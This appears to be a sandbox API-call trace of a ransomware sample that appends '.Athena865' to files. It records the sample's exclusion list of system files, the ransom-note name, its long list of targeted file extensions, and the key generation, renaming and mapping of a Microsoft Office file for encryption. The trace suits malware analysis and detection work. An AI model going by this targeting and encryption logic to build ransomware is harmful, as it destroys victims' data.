lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2="boot") returned 1 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2="ids.txt") returned 1 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2="ntuser.dat") returned 1 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2="perflogs") returned 1 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2="MSBuild") returned 1 [0147.926] lstrlenW (lpString="VISIO_PRM.HXS") returned 13 [0147.926] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO_PRM.HXS" | out: lpString1="VISIO_PRM.HXS") returned="VISIO_PRM.HXS" [0147.926] lstrlenW (lpString="VISIO_PRM.HXS") returned 13 [0147.926] lstrlenW (lpString="Athena865") returned 9 [0147.926] lstrcmpiW (lpString1="O_PRM.HXS", lpString2="Athena865") returned 1 [0147.926] lstrlenW (lpString=".dll") returned 4 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2=".dll") returned 1 [0147.926] lstrlenW (lpString=".lnk") returned 4 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2=".lnk") returned 1 [0147.926] lstrlenW (lpString=".ini") returned 4 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2=".ini") returned 1 [0147.926] lstrlenW (lpString=".sys") returned 4 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2=".sys") returned 1 [0147.927] lstrlenW (lpString="VISIO_PRM.HXS") returned 13 [0147.927] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.Athena865") returned 71 [0147.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.athena865"), dwFlags=0x1) returned 1 [0147.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.928] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2287488) returned 1 [0147.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0147.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0147.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0147.929] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.929] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.929] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.930] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22ea80, lpName=0x0) returned 0x154 [0147.932] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x2ea80) returned 0x170000 [0147.945] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2bb0000 [0148.071] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.071] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.071] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0148.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0148.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.072] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0148.074] CloseHandle (hObject=0x154) returned 1 [0148.074] CloseHandle (hObject=0x17c) returned 1 [0148.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0148.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.086] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65709000, ftCreationTime.dwHighDateTime=0x1ca53a7, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x65709000, ftLastWriteTime.dwHighDateTime=0x1ca53a7, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO_PRM_COL.HXC", cAlternateFileName="VISIO_~2.HXC")) returned 1 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2=".") returned 1 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2="..") returned 1 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2="windows") returned -1 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2="bootmgr") returned 1 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2="temp") returned 1 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2="pagefile.sys") returned 1 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2="boot") returned 1 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2="ids.txt") returned 1 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2="ntuser.dat") returned 1 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2="perflogs") returned 1 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2="MSBuild") returned 1 [0148.086] lstrlenW (lpString="VISIO_PRM_COL.HXC") returned 17 [0148.086] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO_PRM_COL.HXC" | out: lpString1="VISIO_PRM_COL.HXC") returned="VISIO_PRM_COL.HXC" [0148.086] lstrlenW (lpString="VISIO_PRM_COL.HXC") returned 17 [0148.086] lstrlenW (lpString="Athena865") returned 9 [0148.086] lstrcmpiW (lpString1="M_COL.HXC", lpString2="Athena865") returned 1 [0148.086] lstrlenW (lpString=".dll") returned 4 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2=".dll") returned 1 [0148.086] lstrlenW (lpString=".lnk") returned 4 [0148.086] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2=".lnk") returned 1 [0148.087] lstrlenW (lpString=".ini") returned 4 [0148.087] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2=".ini") returned 1 [0148.087] lstrlenW (lpString=".sys") returned 4 [0148.087] lstrcmpiW (lpString1="VISIO_PRM_COL.HXC", lpString2=".sys") returned 1 [0148.087] lstrlenW (lpString="VISIO_PRM_COL.HXC") returned 17 [0148.087] lstrlenW (lpString="bak") returned 3 [0148.087] lstrcmpiW (lpString1="HXC", lpString2="bak") returned 1 [0148.087] lstrlenW (lpString="ba_") returned 3 [0148.087] lstrcmpiW (lpString1="HXC", lpString2="ba_") returned 1 [0148.087] lstrlenW (lpString="dbb") returned 3 [0148.087] lstrcmpiW (lpString1="HXC", lpString2="dbb") returned 1 [0148.087] lstrlenW (lpString="vmdk") returned 4 [0148.087] lstrcmpiW (lpString1=".HXC", lpString2="vmdk") returned -1 [0148.087] lstrlenW (lpString="rar") returned 3 [0148.087] lstrcmpiW (lpString1="HXC", lpString2="rar") returned -1 [0148.087] lstrlenW (lpString="zip") returned 3 [0148.087] lstrcmpiW (lpString1="HXC", lpString2="zip") returned -1 [0148.087] lstrlenW (lpString="tgz") returned 3 [0148.087] lstrcmpiW (lpString1="HXC", lpString2="tgz") returned -1 [0148.087] lstrlenW (lpString="vbox") returned 4 [0148.087] lstrcmpiW (lpString1=".HXC", lpString2="vbox") returned -1 [0148.087] lstrlenW (lpString="vdi") returned 3 [0148.087] lstrcmpiW (lpString1="HXC", lpString2="vdi") returned -1 [0148.087] lstrlenW (lpString="vhd") returned 3 [0148.087] lstrcmpiW (lpString1="HXC", lpString2="vhd") returned -1 [0148.087] lstrlenW (lpString="vhdx") returned 4 [0148.087] lstrcmpiW (lpString1=".HXC", lpString2="vhdx") returned -1 [0148.087] lstrlenW (lpString="avhd") returned 4 [0148.087] lstrcmpiW (lpString1=".HXC", lpString2="avhd") returned -1 [0148.088] lstrlenW (lpString="db") returned 2 [0148.088] lstrcmpiW (lpString1="XC", lpString2="db") returned 1 [0148.088] lstrlenW (lpString="db2") returned 3 [0148.088] lstrcmpiW (lpString1="HXC", lpString2="db2") returned 1 [0148.088] lstrlenW (lpString="db3") returned 3 [0148.088] lstrcmpiW (lpString1="HXC", lpString2="db3") returned 1 [0148.088] lstrlenW (lpString="dbf") returned 3 [0148.088] lstrcmpiW (lpString1="HXC", lpString2="dbf") returned 1 [0148.088] lstrlenW (lpString="mdf") returned 3 [0148.088] lstrcmpiW (lpString1="HXC", lpString2="mdf") returned -1 [0148.088] lstrlenW (lpString="mdb") returned 3 [0148.088] lstrcmpiW (lpString1="HXC", lpString2="mdb") returned -1 [0148.088] lstrlenW (lpString="sql") returned 3 [0148.088] lstrcmpiW (lpString1="HXC", lpString2="sql") returned -1 [0148.088] lstrlenW (lpString="sqlite") returned 6 [0148.088] lstrcmpiW (lpString1="OL.HXC", lpString2="sqlite") returned -1 [0148.088] lstrlenW (lpString="sqlite3") returned 7 [0148.088] lstrcmpiW (lpString1="COL.HXC", lpString2="sqlite3") returned -1 [0148.088] lstrlenW (lpString="sqlitedb") returned 8 [0148.088] lstrcmpiW (lpString1="_COL.HXC", lpString2="sqlitedb") returned -1 [0148.088] lstrlenW (lpString="xml") returned 3 [0148.088] lstrcmpiW (lpString1="HXC", lpString2="xml") returned -1 [0148.088] lstrlenW (lpString="$er") returned 3 [0148.088] lstrcmpiW (lpString1="HXC", lpString2="$er") returned 1 [0148.088] lstrlenW (lpString="4dd") returned 3 [0148.088] lstrcmpiW (lpString1="HXC", lpString2="4dd") returned 1 [0148.088] lstrlenW (lpString="4dl") returned 3 [0148.088] lstrcmpiW (lpString1="HXC", lpString2="4dl") returned 1 [0148.088] lstrlenW (lpString="^^^") returned 3 [0148.089] lstrcmpiW (lpString1="HXC", lpString2="^^^") returned 1 [0148.089] lstrlenW (lpString="abs") returned 3 [0148.089] lstrcmpiW (lpString1="HXC", lpString2="abs") returned 1 [0148.089] lstrlenW (lpString="abx") returned 3 [0148.089] lstrcmpiW (lpString1="HXC", lpString2="abx") returned 1 [0148.089] lstrlenW (lpString="accdb") returned 5 [0148.089] lstrcmpiW (lpString1="L.HXC", lpString2="accdb") returned 1 [0148.089] lstrlenW (lpString="accdc") returned 5 [0148.089] lstrcmpiW (lpString1="L.HXC", lpString2="accdc") returned 1 [0148.089] lstrlenW (lpString="accde") returned 5 [0148.089] lstrcmpiW (lpString1="L.HXC", lpString2="accde") returned 1 [0148.089] lstrlenW (lpString="accdr") returned 5 [0148.089] lstrcmpiW (lpString1="L.HXC", lpString2="accdr") returned 1 [0148.089] lstrlenW (lpString="accdt") returned 5 [0148.089] lstrcmpiW (lpString1="L.HXC", lpString2="accdt") returned 1 [0148.089] lstrlenW (lpString="accdw") returned 5 [0148.089] lstrcmpiW (lpString1="L.HXC", lpString2="accdw") returned 1 [0148.089] lstrlenW (lpString="accft") returned 5 [0148.089] lstrcmpiW (lpString1="L.HXC", lpString2="accft") returned 1 [0148.089] lstrlenW (lpString="adb") returned 3 [0148.089] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0148.089] lstrlenW (lpString="adb") returned 3 [0148.089] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0148.089] lstrlenW (lpString="ade") returned 3 [0148.089] lstrcmpiW (lpString1="HXC", lpString2="ade") returned 1 [0148.089] lstrlenW (lpString="adf") returned 3 [0148.089] lstrcmpiW (lpString1="HXC", lpString2="adf") returned 1 [0148.089] lstrlenW (lpString="adn") returned 3 [0148.089] lstrcmpiW (lpString1="HXC", lpString2="adn") returned 1 [0148.090] lstrlenW (lpString="adp") returned 3 [0148.090] lstrcmpiW (lpString1="HXC", lpString2="adp") returned 1 [0148.090] lstrlenW (lpString="alf") returned 3 [0148.090] lstrcmpiW (lpString1="HXC", lpString2="alf") returned 1 [0148.090] lstrlenW (lpString="ask") returned 3 [0148.090] lstrcmpiW (lpString1="HXC", lpString2="ask") returned 1 [0148.090] lstrlenW (lpString="btr") returned 3 [0148.090] lstrcmpiW (lpString1="HXC", lpString2="btr") returned 1 [0148.090] lstrlenW (lpString="cat") returned 3 [0148.090] lstrcmpiW (lpString1="HXC", lpString2="cat") returned 1 [0148.090] lstrlenW (lpString="cdb") returned 3 [0148.090] lstrcmpiW (lpString1="HXC", lpString2="cdb") returned 1 [0148.090] lstrlenW (lpString="ckp") returned 3 [0148.090] lstrcmpiW (lpString1="HXC", lpString2="ckp") returned 1 [0148.090] lstrlenW (lpString="cma") returned 3 [0148.090] lstrcmpiW (lpString1="HXC", lpString2="cma") returned 1 [0148.090] lstrlenW (lpString="cpd") returned 3 [0148.090] lstrcmpiW (lpString1="HXC", lpString2="cpd") returned 1 [0148.090] lstrlenW (lpString="dacpac") returned 6 [0148.090] lstrcmpiW (lpString1="OL.HXC", lpString2="dacpac") returned 1 [0148.090] lstrlenW (lpString="dad") returned 3 [0148.090] lstrcmpiW (lpString1="HXC", lpString2="dad") returned 1 [0148.090] lstrlenW (lpString="dadiagrams") returned 10 [0148.090] lstrcmpiW (lpString1="RM_COL.HXC", lpString2="dadiagrams") returned 1 [0148.090] lstrlenW (lpString="daschema") returned 8 [0148.090] lstrcmpiW (lpString1="_COL.HXC", lpString2="daschema") returned -1 [0148.090] lstrlenW (lpString="db-journal") returned 10 [0148.090] lstrcmpiW (lpString1="RM_COL.HXC", lpString2="db-journal") returned 1 [0148.090] lstrlenW (lpString="db-shm") returned 6 [0148.091] lstrcmpiW (lpString1="OL.HXC", lpString2="db-shm") returned 1 [0148.091] lstrlenW (lpString="db-wal") returned 6 [0148.091] lstrcmpiW (lpString1="OL.HXC", lpString2="db-wal") returned 1 [0148.091] lstrlenW (lpString="dbc") returned 3 [0148.091] lstrcmpiW (lpString1="HXC", lpString2="dbc") returned 1 [0148.091] lstrlenW (lpString="dbs") returned 3 [0148.091] lstrcmpiW (lpString1="HXC", lpString2="dbs") returned 1 [0148.091] lstrlenW (lpString="dbt") returned 3 [0148.091] lstrcmpiW (lpString1="HXC", lpString2="dbt") returned 1 [0148.091] lstrlenW (lpString="dbv") returned 3 [0148.091] lstrcmpiW (lpString1="HXC", lpString2="dbv") returned 1 [0148.091] lstrlenW (lpString="dbx") returned 3 [0148.091] lstrcmpiW (lpString1="HXC", lpString2="dbx") returned 1 [0148.091] lstrlenW (lpString="dcb") returned 3 [0148.091] lstrcmpiW (lpString1="HXC", lpString2="dcb") returned 1 [0148.091] lstrlenW (lpString="dct") returned 3 [0148.091] lstrcmpiW (lpString1="HXC", lpString2="dct") returned 1 [0148.091] lstrlenW (lpString="dcx") returned 3 [0148.091] lstrcmpiW (lpString1="HXC", lpString2="dcx") returned 1 [0148.091] lstrlenW (lpString="ddl") returned 3 [0148.091] lstrcmpiW (lpString1="HXC", lpString2="ddl") returned 1 [0148.091] lstrlenW (lpString="dlis") returned 4 [0148.091] lstrcmpiW (lpString1=".HXC", lpString2="dlis") returned -1 [0148.091] lstrlenW (lpString="dp1") returned 3 [0148.091] lstrcmpiW (lpString1="HXC", lpString2="dp1") returned 1 [0148.091] lstrlenW (lpString="dqy") returned 3 [0148.091] lstrcmpiW (lpString1="HXC", lpString2="dqy") returned 1 [0148.091] lstrlenW (lpString="dsk") returned 3 [0148.091] lstrcmpiW (lpString1="HXC", lpString2="dsk") returned 1 [0148.092] lstrlenW (lpString="dsn") returned 3 [0148.092] lstrcmpiW (lpString1="HXC", lpString2="dsn") returned 1 [0148.092] lstrlenW (lpString="dtsx") returned 4 [0148.092] lstrcmpiW (lpString1=".HXC", lpString2="dtsx") returned -1 [0148.092] lstrlenW (lpString="dxl") returned 3 [0148.092] lstrcmpiW (lpString1="HXC", lpString2="dxl") returned 1 [0148.092] lstrlenW (lpString="eco") returned 3 [0148.092] lstrcmpiW (lpString1="HXC", lpString2="eco") returned 1 [0148.092] lstrlenW (lpString="ecx") returned 3 [0148.092] lstrcmpiW (lpString1="HXC", lpString2="ecx") returned 1 [0148.092] lstrlenW (lpString="edb") returned 3 [0148.092] lstrcmpiW (lpString1="HXC", lpString2="edb") returned 1 [0148.092] lstrlenW (lpString="epim") returned 4 [0148.092] lstrcmpiW (lpString1=".HXC", lpString2="epim") returned -1 [0148.092] lstrlenW (lpString="fcd") returned 3 [0148.092] lstrcmpiW (lpString1="HXC", lpString2="fcd") returned 1 [0148.092] lstrlenW (lpString="fdb") returned 3 [0148.092] lstrcmpiW (lpString1="HXC", lpString2="fdb") returned 1 [0148.092] lstrlenW (lpString="fic") returned 3 [0148.092] lstrcmpiW (lpString1="HXC", lpString2="fic") returned 1 [0148.092] lstrlenW (lpString="flexolibrary") returned 12 [0148.092] lstrcmpiW (lpString1="_PRM_COL.HXC", lpString2="flexolibrary") returned -1 [0148.092] lstrlenW (lpString="fm5") returned 3 [0148.092] lstrcmpiW (lpString1="HXC", lpString2="fm5") returned 1 [0148.092] lstrlenW (lpString="fmp") returned 3 [0148.092] lstrcmpiW (lpString1="HXC", lpString2="fmp") returned 1 [0148.092] lstrlenW (lpString="fmp12") returned 5 [0148.092] lstrcmpiW (lpString1="L.HXC", lpString2="fmp12") returned 1 [0148.092] lstrlenW (lpString="fmpsl") returned 5 [0148.093] lstrcmpiW (lpString1="L.HXC", lpString2="fmpsl") returned 1 [0148.093] lstrlenW (lpString="fol") returned 3 [0148.093] lstrcmpiW (lpString1="HXC", lpString2="fol") returned 1 [0148.093] lstrlenW (lpString="fp3") returned 3 [0148.093] lstrcmpiW (lpString1="HXC", lpString2="fp3") returned 1 [0148.093] lstrlenW (lpString="fp4") returned 3 [0148.093] lstrcmpiW (lpString1="HXC", lpString2="fp4") returned 1 [0148.093] lstrlenW (lpString="fp5") returned 3 [0148.093] lstrcmpiW (lpString1="HXC", lpString2="fp5") returned 1 [0148.093] lstrlenW (lpString="fp7") returned 3 [0148.093] lstrcmpiW (lpString1="HXC", lpString2="fp7") returned 1 [0148.093] lstrlenW (lpString="fpt") returned 3 [0148.093] lstrcmpiW (lpString1="HXC", lpString2="fpt") returned 1 [0148.093] lstrlenW (lpString="frm") returned 3 [0148.093] lstrcmpiW (lpString1="HXC", lpString2="frm") returned 1 [0148.093] lstrlenW (lpString="gdb") returned 3 [0148.093] lstrcmpiW (lpString1="HXC", lpString2="gdb") returned 1 [0148.093] lstrlenW (lpString="gdb") returned 3 [0148.093] lstrcmpiW (lpString1="HXC", lpString2="gdb") returned 1 [0148.093] lstrlenW (lpString="grdb") returned 4 [0148.093] lstrcmpiW (lpString1=".HXC", lpString2="grdb") returned -1 [0148.093] lstrlenW (lpString="gwi") returned 3 [0148.093] lstrcmpiW (lpString1="HXC", lpString2="gwi") returned 1 [0148.094] lstrlenW (lpString="hdb") returned 3 [0148.094] lstrcmpiW (lpString1="HXC", lpString2="hdb") returned 1 [0148.094] lstrlenW (lpString="his") returned 3 [0148.094] lstrcmpiW (lpString1="HXC", lpString2="his") returned 1 [0148.094] lstrlenW (lpString="ib") returned 2 [0148.094] lstrcmpiW (lpString1="XC", lpString2="ib") returned 1 [0148.094] lstrlenW (lpString="idb") returned 3 [0148.094] lstrcmpiW (lpString1="HXC", lpString2="idb") returned -1 [0148.094] lstrlenW (lpString="ihx") returned 3 [0148.094] lstrcmpiW (lpString1="HXC", lpString2="ihx") returned -1 [0148.094] lstrlenW (lpString="itdb") returned 4 [0148.094] lstrcmpiW (lpString1=".HXC", lpString2="itdb") returned -1 [0148.094] lstrlenW (lpString="itw") returned 3 [0148.094] lstrcmpiW (lpString1="HXC", lpString2="itw") returned -1 [0148.094] lstrlenW (lpString="jet") returned 3 [0148.094] lstrcmpiW (lpString1="HXC", lpString2="jet") returned -1 [0148.094] lstrlenW (lpString="jtx") returned 3 [0148.094] lstrcmpiW (lpString1="HXC", lpString2="jtx") returned -1 [0148.094] lstrlenW (lpString="kdb") returned 3 [0148.094] lstrcmpiW (lpString1="HXC", lpString2="kdb") returned -1 [0148.094] lstrlenW (lpString="kexi") returned 4 [0148.094] lstrcmpiW (lpString1=".HXC", lpString2="kexi") returned -1 [0148.094] lstrlenW (lpString="kexic") returned 5 [0148.094] lstrcmpiW (lpString1="L.HXC", lpString2="kexic") returned 1 [0148.094] lstrlenW (lpString="kexis") returned 5 [0148.094] lstrcmpiW (lpString1="L.HXC", lpString2="kexis") returned 1 [0148.094] lstrlenW (lpString="lgc") returned 3 [0148.094] lstrcmpiW (lpString1="HXC", lpString2="lgc") returned -1 [0148.095] lstrlenW (lpString="lwx") returned 3 [0148.095] lstrcmpiW (lpString1="HXC", lpString2="lwx") returned -1 [0148.095] lstrlenW (lpString="maf") returned 3 [0148.095] lstrcmpiW (lpString1="HXC", lpString2="maf") returned -1 [0148.095] lstrlenW (lpString="maq") returned 3 [0148.095] lstrcmpiW (lpString1="HXC", lpString2="maq") returned -1 [0148.095] lstrlenW (lpString="mar") returned 3 [0148.095] lstrcmpiW (lpString1="HXC", lpString2="mar") returned -1 [0148.095] lstrlenW (lpString="marshal") returned 7 [0148.095] lstrcmpiW (lpString1="COL.HXC", lpString2="marshal") returned -1 [0148.095] lstrlenW (lpString="mas") returned 3 [0148.095] lstrcmpiW (lpString1="HXC", lpString2="mas") returned -1 [0148.095] lstrlenW (lpString="mav") returned 3 [0148.095] lstrcmpiW (lpString1="HXC", lpString2="mav") returned -1 [0148.095] lstrlenW (lpString="maw") returned 3 [0148.095] lstrcmpiW (lpString1="HXC", lpString2="maw") returned -1 [0148.095] lstrlenW (lpString="mdbhtml") returned 7 [0148.095] lstrcmpiW (lpString1="COL.HXC", lpString2="mdbhtml") returned -1 [0148.095] lstrlenW (lpString="mdn") returned 3 [0148.095] lstrcmpiW (lpString1="HXC", lpString2="mdn") returned -1 [0148.095] lstrlenW (lpString="mdt") returned 3 [0148.095] lstrcmpiW (lpString1="HXC", lpString2="mdt") returned -1 [0148.095] lstrlenW (lpString="mfd") returned 3 [0148.095] lstrcmpiW (lpString1="HXC", lpString2="mfd") returned -1 [0148.095] lstrlenW (lpString="mpd") returned 3 [0148.095] lstrcmpiW (lpString1="HXC", lpString2="mpd") returned -1 [0148.095] lstrlenW (lpString="mrg") returned 3 [0148.095] lstrcmpiW (lpString1="HXC", lpString2="mrg") returned -1 [0148.095] lstrlenW (lpString="mud") returned 3 [0148.096] lstrcmpiW (lpString1="HXC", lpString2="mud") returned -1 [0148.096] lstrlenW (lpString="mwb") returned 3 [0148.096] lstrcmpiW (lpString1="HXC", lpString2="mwb") returned -1 [0148.096] lstrlenW (lpString="myd") returned 3 [0148.096] lstrcmpiW (lpString1="HXC", lpString2="myd") returned -1 [0148.096] lstrlenW (lpString="ndf") returned 3 [0148.096] lstrcmpiW (lpString1="HXC", lpString2="ndf") returned -1 [0148.096] lstrlenW (lpString="nnt") returned 3 [0148.096] lstrcmpiW (lpString1="HXC", lpString2="nnt") returned -1 [0148.096] lstrlenW (lpString="nrmlib") returned 6 [0148.096] lstrcmpiW (lpString1="OL.HXC", lpString2="nrmlib") returned 1 [0148.096] lstrlenW (lpString="ns2") returned 3 [0148.096] lstrcmpiW (lpString1="HXC", lpString2="ns2") returned -1 [0148.096] lstrlenW (lpString="ns3") returned 3 [0148.096] lstrcmpiW (lpString1="HXC", lpString2="ns3") returned -1 [0148.096] lstrlenW (lpString="ns4") returned 3 [0148.096] lstrcmpiW (lpString1="HXC", lpString2="ns4") returned -1 [0148.096] lstrlenW (lpString="nsf") returned 3 [0148.096] lstrcmpiW (lpString1="HXC", lpString2="nsf") returned -1 [0148.096] lstrlenW (lpString="nv") returned 2 [0148.096] lstrcmpiW (lpString1="XC", lpString2="nv") returned 1 [0148.096] lstrlenW (lpString="nv2") returned 3 [0148.096] lstrcmpiW (lpString1="HXC", lpString2="nv2") returned -1 [0148.096] lstrlenW (lpString="nwdb") returned 4 [0148.096] lstrcmpiW (lpString1=".HXC", lpString2="nwdb") returned -1 [0148.096] lstrlenW (lpString="nyf") returned 3 [0148.096] lstrcmpiW (lpString1="HXC", lpString2="nyf") returned -1 [0148.096] lstrlenW (lpString="odb") returned 3 [0148.096] lstrcmpiW (lpString1="HXC", lpString2="odb") returned -1 [0148.096] lstrlenW (lpString="odb") returned 3 [0148.096] lstrcmpiW (lpString1="HXC", lpString2="odb") returned -1 [0148.097] lstrlenW (lpString="oqy") returned 3 [0148.097] lstrcmpiW (lpString1="HXC", lpString2="oqy") returned -1 [0148.097] lstrlenW (lpString="ora") returned 3 [0148.097] lstrcmpiW (lpString1="HXC", lpString2="ora") returned -1 [0148.097] lstrlenW (lpString="orx") returned 3 [0148.097] lstrcmpiW (lpString1="HXC", lpString2="orx") returned -1 [0148.097] lstrlenW (lpString="owc") returned 3 [0148.097] lstrcmpiW (lpString1="HXC", lpString2="owc") returned -1 [0148.097] lstrlenW (lpString="p96") returned 3 [0148.097] lstrcmpiW (lpString1="HXC", lpString2="p96") returned -1 [0148.097] lstrlenW (lpString="p97") returned 3 [0148.097] lstrcmpiW (lpString1="HXC", lpString2="p97") returned -1 [0148.097] lstrlenW (lpString="pan") returned 3 [0148.097] lstrcmpiW (lpString1="HXC", lpString2="pan") returned -1 [0148.097] lstrlenW (lpString="pdb") returned 3 [0148.097] lstrcmpiW (lpString1="HXC", lpString2="pdb") returned -1 [0148.097] lstrlenW (lpString="pdm") returned 3 [0148.097] lstrcmpiW (lpString1="HXC", lpString2="pdm") returned -1 [0148.097] lstrlenW (lpString="pnz") returned 3 [0148.097] lstrcmpiW (lpString1="HXC", lpString2="pnz") returned -1 [0148.097] lstrlenW (lpString="qry") returned 3 [0148.097] lstrcmpiW (lpString1="HXC", lpString2="qry") returned -1 [0148.097] lstrlenW (lpString="qvd") returned 3 [0148.097] lstrcmpiW (lpString1="HXC", lpString2="qvd") returned -1 [0148.097] lstrlenW (lpString="rbf") returned 3 [0148.097] lstrcmpiW (lpString1="HXC", lpString2="rbf") returned -1 [0148.097] lstrlenW (lpString="rctd") returned 4 [0148.097] lstrcmpiW (lpString1=".HXC", lpString2="rctd") returned -1 [0148.097] lstrlenW (lpString="rod") returned 3 [0148.097] lstrcmpiW (lpString1="HXC", lpString2="rod") returned -1 [0148.098] lstrlenW (lpString="rodx") returned 4 [0148.098] lstrcmpiW (lpString1=".HXC", lpString2="rodx") returned -1 [0148.098] lstrlenW (lpString="rpd") returned 3 [0148.098] lstrcmpiW (lpString1="HXC", lpString2="rpd") returned -1 [0148.098] lstrlenW (lpString="rsd") returned 3 [0148.098] lstrcmpiW (lpString1="HXC", lpString2="rsd") returned -1 [0148.098] lstrlenW (lpString="sas7bdat") returned 8 [0148.098] lstrcmpiW (lpString1="_COL.HXC", lpString2="sas7bdat") returned -1 